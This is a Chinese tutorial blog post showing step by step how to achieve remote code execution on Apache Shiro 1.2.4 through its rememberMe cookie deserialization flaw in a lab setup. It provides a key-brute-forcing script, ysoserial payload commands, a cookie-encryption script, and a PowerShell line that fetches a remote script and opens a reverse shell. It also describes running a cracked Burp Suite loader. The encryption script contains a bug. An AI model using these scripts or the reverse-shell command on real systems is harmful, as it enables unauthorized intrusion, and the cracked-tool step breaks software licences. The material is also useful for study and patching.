Windows下Shiro反序列化漏洞RCE

Shiro 是一个功能强大和易于使用的Java安全框架,为开发人员提供一个直观而全面的解决方案的认证,授权,加密,会话管理。然而,在shiro<=1.2.4的版本中,存在严重的反序列化漏洞,这里对其攻击过程做个记录。

环境

攻击机和靶机均为不出网的内网Windows主机

攻击机:

  • Windows 10
  • Burpsuit
  • ysoserial
  • jdk 1.8
  • maven
  • Python 3

靶机:

  • Windows 10
  • Tomcat 8.5.71
  • jdk 1.8

背景&原理

相关概念

  • 序列化:把Java对象转换为字节序列的过程,可以有效的实现多平台之间的通信、对象持久化存储。
  • 反序列化:把字节序列恢复为Java对象的过程。
  • 反序列化漏洞:当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

这里我们可以通过eclipsejd-gui对shiro的源码jar包(在后文环境搭建处有下载链接,解压之后的WEB-INF->lib->shiro-core-1.2.4.jar)进行查看(依次点开org.apache.shiro->mgt->AbstractRememberMeManager.class),不难看出这里密钥固定为kPH+bIxk5D2deZiIxcaaaA==

密钥硬编码

环境搭建

因为实验机均为不出网的内网主机,因此,本文摒弃了docker的安装方式,采用手动搭建来构建实验所需环境。所有的下载和打包操作均在外网主机完成后拷贝至内网。

jdk安装

需要在攻击机和靶机上均安装jdk

  1. 网站下载jdk,并双击安装:
    下载jdk
  1. 安装完成之后win+e打开文件夹,在此电脑处右键单击,选择属性

    属性

  2. 依次点击高级系统设置->环境变量->新建

    环境变量

  3. 新建环境变量JAVA_HOME,值为你的jdk安装路径,我这里为C:\Program Files\Java\jdk1.8.0_301

    新建环境变量

  4. 在系统变量中找到Path变量,选中,点击编辑:

    编辑Path变量

  5. 在弹出的对话框中右上角点击新建,粘贴jdk的安装路径,然后点击依次点击确定,直到所有对话框关闭即可

  6. win+r之后输入cmd回车打开命令行窗口,输入命令java -version`查看是否安装成功:

    安装成功

shiro安装

在靶机上安装shiro:

  1. 这里是直接下载shiro的war包,提取码:lorz

  2. 官网下载Tomcat:

    Tomcat下载

  3. 下载完成后解压至你想要安装的文件夹即可

  4. 将下载好的shirowar包解压至Tomcat内的webapps目录,并重命名为shiro

    解压并重命名

  5. 进入Tomcatbin目录,在此创建cmd窗口:

    bin目录

  6. 输入命令startup.bat启动Tomcat(双击也可以启动,但看不到报错信息,推荐用这种方式启动)(注意,8080端口不能被占用,否则启动失败):

    启动Tomcat

  7. 然后就能看到另一个名为Tomcat的窗口启动:

    Tomcat启动成功

  8. 在浏览器输入127.0.0.1:8080/shiro/查看是否能够显示界面,看到如下界面表示shiro部署成功:

    shiro成功部署

maven安装

在攻击机上安装maven:

  1. 官网下载maven:

    下载maven

  2. 下载完成后解压至你想要安装的目录

  3. 安装上面jdk的配置步骤,新建环境变量MAVEN_HOME,值为安装路径

  4. 编辑Path变量,新增条目:maven安装路径/bin/

  5. 打开cmd窗口,输入mvn -v验证是否安装成功:

    安装成功

ysoserial安装

  1. 官网下载ysoserial

    下载

  2. 解压,然后在源码根目录下打开cmd窗口,运行命令mvn package -DskipTests打包源码为jar包:

    打包

  3. 打包完成之后会在当前生成一个target文件夹,文件夹内就有我们需要的jar包:

    打包完成

burpsuit安装:

  1. 下载burp loader,提取码:orzH
  2. 解压,双击BurpSuiteLoader.jar
    双击
  3. 点击右侧run
    run

    然后在弹出来的对话框内点击next,然后分别将requestresponse复制粘贴进loader里:
    破解
  4. 以后每次加载burp都需要先打开loader,再点击run运行

至此,所有环境搭建完毕

攻击实施

密钥判断

因为shiro 1.2.4及其以前的版本是直接将密钥硬编码写进代码里,才导致了该漏洞,因此要实施攻击,首先需要判断密钥。
这里直接使用脚本进行判断(需要有Python3环境):

D:\Users\User\Desktop>python key_exp.py
正确key:kPH+bIxk5D2deZiIxcaaaA==

脚本key_exp.py内容为:

import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此处简单列举几个密钥
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes

    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY :" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

            if res.headers.get("Set-Cookie") == None:
                print("正确KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            print("正确key:" + key)
            return key
        except Exception as e:
            print(e)
encode_rememberme("http://靶机IP:8080/shiro/")

注意使用之前需要配置靶机ip
该脚本的核心思想是使用shiro的常用密钥按照其编码加密方式对靶机进行爆破,当靶机返回的响应头的Set-Cookie字段含有rememberMe=deleteMe;的cookie时,即密钥正确

利用链判断

shiro有多个利用链,可能是:"CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Spring1","Spring2","Jdk7u21","ROME","Clojure"等,因此,需要判断哪条利用链可用,这里使用大佬编写的脚本判断(当然也可以每个利用链都试试啦)

这里可以直接删掉代码里其他密钥,只留我们上文判断出来的密钥即可,可节省时间,提高效率

运行命令:

python shiro-1.2.4-rce.py http://靶机ip:8080/shiro/

最终判断目标shiro的利用链为CommonsCollections2

payload生成

在上文打包的ysoserial-0.0.6-SNAPSHOT-all.jar目录处运行命令:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc.exe" > test.ser

其中的利用链填写刚刚判断出的利用链名称,利用链后填写想要执行的命令,这里执行的命令为打开电脑计算器,也可以将命令换成"powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 监听地址ip -port 9999"直接反弹powershell

会在当前目录生成test.ser文件,然后在当前目录新建脚本文件shiro.py,内容为:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme():
    with open("test.ser", "r") as f:
        popen = f.read()
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
if __name__ == '__main__':
    payload = encode_rememberme()
print "rememberMe={0}".format(payload.decode())

在当前目录运行cmd命令:

python shiro.py 

即可看到生成的payload:


生成payload

选中输出的所有字符,按住ctrl+shif+c复制

打开burp,在burp的浏览器里输入http://靶机ip:8080/shiro/进行访问,点击登录,随意使用页面提供的任意账号密码,点击remember me登录:

登录

使用burp进行抓包,将抓到的数据发送到repeater。在repeater中,在请求头中的cookie字段中粘贴刚刚复制的payload,点击send
(此处应有图)

然后就可以看到靶机弹出了计算器,RCE成功:


靶机命令执行成功

参考链接

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 162,825评论 4 377
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,887评论 2 308
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 112,425评论 0 255
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,801评论 0 224
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 53,252评论 3 299
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 41,089评论 1 226
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,216评论 2 322
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 31,005评论 0 215
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,747评论 1 250
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,883评论 2 255
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,354评论 1 265
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,694评论 3 265
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,406评论 3 246
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,222评论 0 9
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,996评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 36,242评论 2 287
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 36,017评论 2 281